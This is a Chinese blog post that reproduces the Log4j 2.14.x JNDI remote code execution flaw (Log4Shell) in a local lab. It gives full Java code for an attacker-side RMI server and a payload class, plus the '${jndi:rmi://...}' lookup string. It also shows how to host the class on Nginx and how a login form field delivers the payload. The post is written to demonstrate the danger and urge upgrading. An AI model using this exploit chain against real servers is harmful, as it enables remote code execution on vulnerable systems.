连夜复现了Log4j最新史诗级重大漏洞，含视频和完整案例代码

作者: 技术栈 | 来源:发表于2022-05-30 15:10 被阅读0次

周末与一些小伙伴交流的过程当中，发现一些小伙伴公司的项目中使用的Log4j版本还是2.14.0，我一听就有点震惊了：你们还在使用Log4j的2.14.0版本，这个版本存在重大漏洞啊！

但是有些小伙伴看起来对Log4j中存在的重大漏洞不以为意。“我们项目中使用的Log4j一直是2.14.0这个版本啊，一直没啥问题啊！”。哎，看来有些小伙伴对Log4j2.14.0版本存在的漏洞还是不太了解呀

image.png

漏洞背景

相信有不少小伙伴都还记得在2021年12月份发布的Log4j（2.14.1及以下版本）重大漏洞，这个漏洞主要是利用Log4j支持的JNDI技术在服务器上执行任意代码。并且此漏洞的安全威胁巨大。官方给出的评估如下。

公开程度：漏洞细节已公开
利用条件：无权限要求
交互要求：0 click
漏洞危害：高危、远程代码执行
影响范围：Log4j2.x <= 2.14.1

以上评估来自：
https://x.threatbook.cn/v5/article?threatInfoID=10470

这个漏洞非常非常严重，但是有些小伙伴还在不以为然，今天，我们就一起重现下Log4j的这个重大漏洞。希望各位小伙伴们了解到这个漏洞的严重性后，尽快升级项目中所适用的Log4j版本。

重现Log4j重大漏洞

为了重现Log4j的重大漏洞，我在IDEA中创建了一个Maven项目log4j-demo，如下所示。

image.png

其中log4j-all模块表示本次重现Log4j重大漏洞的所有代码示例。后续为了更好地演示真实的环境效果，我将log4j-all中的代码由拆分成log4j-rmi和log4j-website两个Maven模块。

其中，大家要重点理解的是log4j-rmi模拟的是在一名骇客本地运行的RMI服务，而log4j-website模拟的是一个远程站点，也就是将要被入侵的服务器。在本文中会有详细的场景介绍。

总体项目依赖

打开log4j-demo（Maven父工程）的pom.xml文件，如下所示。

<modules>
    <module>log4j-rmi</module>
    <module>log4j-website</module>
    <module>log4j-all</module>
</modules>

<dependencies>
    <dependency>
        <groupId>org.apache.logging.log4j</groupId>
        <artifactId>log4j-api</artifactId>
        <version>2.14.0</version>
    </dependency>

    <dependency>
        <groupId>org.apache.logging.log4j</groupId>
        <artifactId>log4j-core</artifactId>
        <version>2.14.0</version>
    </dependency>

</dependencies>

<build>
    <plugins>
        <plugin>
            <groupId>org.apache.maven.plugins</groupId>
            <artifactId>maven-compiler-plugin</artifactId>
            <version>3.6.1</version>
            <configuration>
                <source>1.8</source>
                <target>1.8</target>
            </configuration>
        </plugin>
    </plugins>
</build>

可以看到，在log4j-demo（Maven父工程）的pom.xml文件中只是依赖了Apache的2.1.40版本的Log4j，并没有其他多余的Maven依赖。

重现log4j-all漏洞

这里，我们首先以log4j-all模块为例，重现Log4j最新重大漏洞。

log4j-all整体说明

log4j-all模块整体的代码情况如下所示。

image.png

如上图所示：

io.binghe.log4j.rmi 包下的RmiObj类和RmiServer类模拟的是运行在骇客本地的RMI服务。
io.binghe.log4j 包下的Log4jDemo类模拟的是远程站点。
log4j2.xml：Log4j的日志配置文件。

Log4j日志配置

首先看下log4j-all模块下resources目录下的log4j2.xml文件，如下所示。

<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="WARN">
    <Appenders>
        <Console name="Console" target="SYSTEM_OUT">
            <PatternLayout pattern="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n"/>
        </Console>
    </Appenders>
    <Loggers>
        <Root level="info">
            <AppenderRef ref="Console"/>
        </Root>
    </Loggers>
</Configuration>

可以看到，模块下对于Log4j的配置也比较简单，主要就是配置了一个info级别的日志输出，并且是输出到控制台。

模拟远程站点代码解析

（1）查看 io.binghe.log4j.Log4jDemo 类的代码，如下所示。

/**
 * @author binghe 
 * @version 1.0.0
 * @description Log4j漏洞示例
 */
public class Log4jDemo {

    private static final Logger LOGGER = LogManager.getLogger();

    public static void main(String[] args){
        try {
            String str = "binghe";
            LOGGER.info("输出的信息是:{}", str);
        }catch (Exception e){}
    }
}

相信不少小伙伴在使用Log4j时，会按照上面的方式打印日志。也就是使用Log4j打印日志的{}占位符，后面再跟上要打印的参数。运行上面的代码，输出的日志如下所示。

10:45:07.560 [main] INFO  io.binghe.log4j.Log4jDemo - 输出的信息是:binghe

可以看到，正确输出了日志信息输出的信息是:binghe 。

（2）修改 io.binghe.log4j.Log4jDemo 类的代码中的str字符串变量，将其修改成如下所示。

String str = "${java:os}";

这里，我们将str字符串变量的值由原理的 binghe 修改为 ${java:os} ，我们先不管$ {java:os} 是个什么鬼，继续运行 io.binghe.log4j.Log4jDemo 类，看看输出的日志信息是什么 ${java:os} ，还是别的什么鬼玩意儿，运行后输出的结果信息如下所示。

10:48:18.977 [main] INFO  io.binghe.log4j.Log4jDemo - 输出的信息是:Windows 10 10.0, architecture: amd64-64

看到没，输出的信息不是 ${java:os} ，而是我正在重现Log4j重大漏洞的电脑操作系统版本 Windows 10 10.0, architecture: amd64-64 。

我们继续将str字符串换成几个其他的变量值试试，如下所示。

将str字符串换成 ${java:runtime} ，输出的结果信息如下所示。

10:51:51.334 [main] INFO  io.binghe.log4j.Log4jDemo - 输出的信息是:Java(TM) SE Runtime Environment (build 1.8.0_202-b08) from Oracle Corporation

可以看到，输出的结果信息是当前Java的运行时环境 Java(TM) SE Runtime Environment (build 1.8.0_202-b08) from Oracle Corporation ，并不是 ${java:runtime} 。

将str字符串换成 ${java:vm} ，输出的结果信息如下所示。

10:53:20.974 [main] INFO  io.binghe.log4j.Log4jDemo - 输出的信息是:Java HotSpot(TM) 64-Bit Server VM (build 25.202-b08, mixed mode)

可以看到，输出的结果信息是 Java HotSpot(TM) 64-Bit Server VM (build 25.202-b08, mixed mode) ，并不是 ${java:vm} 。

看到这里，可能就会有小伙伴有疑问了，Log4j为哈会打印有关操作系统和Java的相关信息呢？

这其实都是Log4j支持JNDI的结果，有关Log4j支持JNDI的信息，小伙伴们可以参考如下链接，这里我就不再过多的赘述了。

https://logging.apache.org/log4j/2.x/manual/lookups.html

在上面的示例中，我们演示的是Log4j支持的Java Lookup功能。

image.png

模拟骇客本地进程代码解析

（1）在 io.binghe.log4j.rmi 下存在这两个Java类，一个是RmiObj类，一个是RmiServer类，这两个类模拟的是在骇客本地运行的RMI服务。首先，来看下RmiObj的代码，如下所示。

/**
 * @author binghe
 * @version 1.0.0
 * @description 模拟log4j的漏洞
 */
public class RmiObj implements ObjectFactory {

    static {
        System.out.println("执行代码");
        //这里可以写任意代码，比如木马程序，病毒程序，死循环，后门程序等等。
    }

    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        return null;
    }
}

可以看到，RmiObj类的代码比较简单，它实现了 javax.naming.spi.ObjectFactory 接口，但是并没有实现 javax.naming.spi.ObjectFactory 接口中的getObjectInstance()方法，在getObjectInstance()方法中直接返回null。

这里，重点是在RmiObj中写了一个静态代码块，如下所示。

static {
    System.out.println("执行代码");
    //这里可以写任意代码，比如木马程序，病毒程序，死循环，后门程序等等。
}

就是这个静态代码块，让骇客利用Log4j的远程代码执行漏洞，可以在远程服务器上做任何想要做的事情。

这里，我们只是在静态代码块中简单地打印了执行代码四个字，如果你的项目被骇客盯上了，或许就没我这么友善了。

（2）接下来，看下 io.binghe.log4j.rmi 包下的RmiServer类，如下所示。

/**
 * @author binghe 
 * @version 1.0.0
 * @description 模拟漏洞的RMIServer
 */
public class RmiServer {

    public static void main(String[] args){
        try{
            LocateRegistry.createRegistry(1099);
            Registry registry = LocateRegistry.getRegistry();

            System.out.println("RMI Listener 1099 port");
            Reference reference = new Reference("io.binghe.log4j.rmi.RmiObj", "io.binghe.log4j.rmi.RmiObj", null);

            ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
            registry.rebind("test", referenceWrapper);

        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

RmiServer主要模拟的是在骇客本地运行的RMI进程，而且在log4j-all模块中 io.binghe.log4j.rmi 包下的RmiObj类和RmiServer都是在骇客本地的代码。

RmiServer类中的代码也是比较简单的，就是按照常规模式发了一个RMI服务。需要注意的是，在RmiServer类中使用Reference类加载了RmiObj类的代码，并且将RMI服务发布在1099端口上，路径是 /test 。

启动重现漏洞程序

（1）运行 io.binghe.log4j.rmi.RmiServer 类的main()方法骇客本地的RMI服务，启动后输出的日志信息如下所示。

RMI Listener 1099 port

（2）回到模拟远程站点的 io.binghe.log4j.Log4jDemo 代码，将其中的str字符串变量修改成如下所示。

String str = "${jndi:rmi://192.168.0.106:1099/test}";

其中， jndi:rmi://192.168.0.106:1099/test 就是利用Log4j的JNDI技术连接远程RMI服务，其中的 192.168.0.106 表示我本机的IP地址，1099是启动RMI服务监听的端口号，test是发布RMI服务的根目录。

（3）启动 io.binghe.log4j.Log4jDemo 类的main()方法，输出了如下的日志信息。

执行代码
11:38:22.380 [main] INFO  io.binghe.log4j.Log4jDemo - 输出的信息是:${jndi:rmi://192.168.0.106:1099/test}

可以看到，在模拟远程站点的Log4jDemo输出的日志中，不仅打印除了Log4j的日志，还打印了在模拟骇客本地RMI服务的 io.binghe.log4j.rmi.RmiObj 类中的代码。

这意味着什么呢？意味着在远程服务器上执行了骇客本地的程序，而骇客是可以在自己本地的 io.binghe.log4j.rmi.RmiObj 类的静态代码块中写任意代码的，是不是很恐怖，这确实是Log4j的一个重大漏洞。

漏洞具体场景分析

说到这里，可能有小伙伴不太理解上述代码的执行逻辑。这里，我给大家举一个具体场景的示例。

（1）一名骇客在自己的本地电脑或者自己的服务器上编写了RmiObj类和RmiServer类，并且在RmiObj类的静态代码块中写了很多破坏远程服务器的代码，比如木马程序、病毒程序、后门程序，死循环等等。在本地电脑或者自己的服务器上启动了RmiServer类来启动一个RMI服务，而RmiServer启动时会加载RmiObj类，如下所示。

image.png

（2）在远程站点的Web登录页面中的用户名文本框中输入了字符串 ${ jndi:rmi://192.168.0.106:1099/test} ，当前具体的IP地址和端口号以及RMI服务的根路径根据骇客的具体情况调整。点击登录按钮后模拟登录操作，就会显示用户名$ {
jndi:rmi://192.168.0.106:1099/test} 和乱写的密码发送到远程站点的后台。

image.png

如果远程站点的后台在接收到用户名 ${
jndi:rmi://192.168.0.106:1099/test} 和乱写的密码后，在没有做参数校验的情况下，直接利用Log4j按照如下方式，打印传递过来的用户名和密码。

String username = request.getParameter("username");
String password = request.getParameter("password");
logger.info("用户名为：{}, 密码为:{}", username, password);

此时就会触发Log4j的重大漏洞，在远程站点的服务器上执行骇客本地RmiObj类中的static静态代码块中编写的破坏服务器的代码。相信此时远程站点的服务器就会凉凉了。

至此，我们分析完log4j-all模块了。

重现真实场景漏洞

在log4j-all模块中，我们的所有程序都是在同一个代码模块中的，也就是都在同一个项目中，真实的环境是：RMI服务运行在骇客的本地电脑或者自己的服务器上，而远程站点会运行在远程服务器上。接下来，我们就开始模拟一个更加贴合真实环境的场景。

模拟真实场景项目说明

为了模拟真实场景，这里，我将log4j-all模块继续拆分成log4j-rmi模块和log4j-website模块，其中，log4j-rmi模块模拟运行在骇客本地或自己服务器上的RMI服务，而log4j-website模块模拟远程站点。

image.png

log4j-website模块代码分析

在log-website模块中的代码比较简单，整体上在resources目录下有一个log4j2.xml文件，内容与log4j-all模块的log4j2.xml文件内容相同。在log-website模块的 io.binghe.log4j 包中存在一个Log4jDemo类，代码也与log4j-all模块中的Log4jDemo类的代码基本相同（有稍许不同）。这里，为了模拟远程站点一般部署在远程服务器上，这里将模拟远程站点的Log4jDemo类单独拆分成一个Maven模块工程。log4j-website模块代码结构如下所示。

image.png

注意：在log-website模块中的Log4jDemo类的main()方法中会新增如下两行代码。

System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");

好了，这就是在log-website模块下模拟的远程站点的Log4jDemo类。

log4j-rmi模块代码分析

我们将log4j-all模块中模拟骇客本地RMI服务的RmiObj类和RmiServer类拆分到了log4j-rmi模块。log4j-rmi模块代码结构如下所示。

image.png

其中，RmiObj类与log4j-all中的RmiObj类相同。而RmiServer类比log4j-all模块中的RmiServer类有稍许不同。我们来看下在log4j-rmi模块中的RmiServer类，如下所示。

/**
 * @author binghe 
 * @version 1.0.0
 * @description 模拟漏洞的RMIServer
 */
public class RmiServer {

    public static void main(String[] args){
        try{
            LocateRegistry.createRegistry(1099);
            Registry registry = LocateRegistry.getRegistry();

            System.out.println("RMI Listener 1099 port");
            Reference reference = new Reference("RmiObj", "RmiObj", null);

            ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
            registry.rebind("test", referenceWrapper);

        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

可以看到在log4j-rmi模块中的RmiServer类中，创建Reference对象时传递的参数与在log4j-all的RmiServer类中创建Reference对象时传递的参数不同。在RmiServer类中创建Reference对象时传递的参数是RmiObj的全类名，而这里传递的是简单类名。细心的读者应该已经发现了，我在log4j-rmi模块中将RmiObj类和RmiServer类都移动到了java目录下，并没有创建Java包。

第一次运行程序模拟真实场景

（1）启动log4j-rmi模块下的RmiServer类，会打印出如下日志信息。

RMI Listener 1099 port

说明RMI服务启动成功，并监听了1099端口。

（2）运行log4j-website模块下的Log4jDemo类，输出的日志信息如下所示。

12:44:23.021 [main] INFO  io.binghe.log4j.Log4jDemo - 输出的信息是:Reference Class Name: RmiObj

可以看到，在log4j-website模块下的Log4jDemo类中并没有打印出log4j-rmi模块下的RmiObj类中static静态代码块中输出的信息。

也就是说，远程站点不会执行骇客本地的代码，真实环境不存在这个漏洞？答案是非也，真实环境也存在远程代码执行漏洞。

改造log4j-rmi模块代码

（1）到链接
http://nginx.org/en/download.html下载一个Nginx，这里我下载的是Windows版本的Nginx，版本号是1.22.0，如下所示。

image.png

（2）将下载后的Nginx进行解压，这里，我将Nginx解压到我本地电脑的D盘下的 Nginx/nginx-1.22.0 目录下，如下所示。

image.png

（3）使用Maven编译log4j-demo整体功能，找到编译后的log4j-rmi模块下的 target/classes 目录下的RmiObj.class文件，如下所示。

image.png

（4）将编译后的log4j-rmi模块下的 target/classes 目录下的RmiObj.class文件复制到Nginx的html目录下，如下所示。

image.png

复制后的效果如下所示。

image.png

（5）双击Nginx目录下nginx.exe文件启动Nginx，如下所示。

image.png

（6）修改log4j-rmi模块下的RmiServer类的代码，将创建Reference对象时，调用Reference类的构造方法的第三个参数修改成 http://127.0.0.1:80/ ，如下所示。

Reference reference = new Reference("RmiObj", "RmiObj", "http://127.0.0.1:80/");

上述代码表示创建Reference类时，加载了Nginx下的RmiObj.class文件中的RmiObj类。

至此，log4j-rmi模块的代码就改造完成了。

第二次运行程序模拟真实场景

（1）启动log4j-rmi模块下的RmiServer类，会打印出如下日志信息。

RMI Listener 1099 port

说明RMI服务启动成功，并监听了1099端口。

（2）运行log4j-website模块下的Log4jDemo类，输出的日志信息如下所示。

执行代码
13:04:22.542 [main] INFO  io.binghe.log4j.Log4jDemo - 输出的信息是:${jndi:rmi://192.168.0.106:1099/test}

可以看到，这次在log4j-website模块下的Log4jDemo程序的命令行打印出了从Nginx中加载的RmiObj类的静态代码块中输出的信息，而Nginx中的RmiObj类其实就是骇客本地的RmiObj类。

至此，我们再次重现了Log4j的重大漏洞。

漏洞真实场景分析

这里的真实场景分析中，远程站点服务器的执行流程与重现log4j-all漏洞中漏洞具体场景分析下的远程站点服务器执行流程相同，都是如下图所示。

image.png

而骇客本地RMI服务程序的执行流程稍有不同，这里的流程如下图所示。

image.png

理解起来也比较简单，这里，我就不再赘述了。

写在最后

这次的Log4j远程代码执行漏洞威胁很大，不仅很多开源软件受其影响，而且还有很多服务器也深受其害。所以，各位小伙伴们如果在项目中使用的Log4j的版本小于等于2.14.1，那就尽快升级到更高版本的Log4j吧，升级Log4j刻不容缓，大家赶紧行动起来。

连夜复现了Log4j最新史诗级重大漏洞，含视频和完整案例代码

漏洞背景

重现Log4j重大漏洞

其中，大家要重点理解的是log4j-rmi模拟的是在一名骇客本地运行的RMI服务，而log4j-website模拟的是一个远程站点，也就是将要被入侵的服务器。在本文中会有详细的场景介绍。

总体项目依赖

重现log4j-all漏洞

log4j-all整体说明

Log4j日志配置

模拟远程站点代码解析

模拟骇客本地进程代码解析

启动重现漏洞程序

漏洞具体场景分析

重现真实场景漏洞

模拟真实场景项目说明

log4j-website模块代码分析

注意：在log-website模块中的Log4jDemo类的main()方法中会新增如下两行代码。

log4j-rmi模块代码分析

第一次运行程序模拟真实场景

也就是说，远程站点不会执行骇客本地的代码，真实环境不存在这个漏洞？答案是非也，真实环境也存在远程代码执行漏洞。

改造log4j-rmi模块代码

第二次运行程序模拟真实场景

漏洞真实场景分析

写在最后

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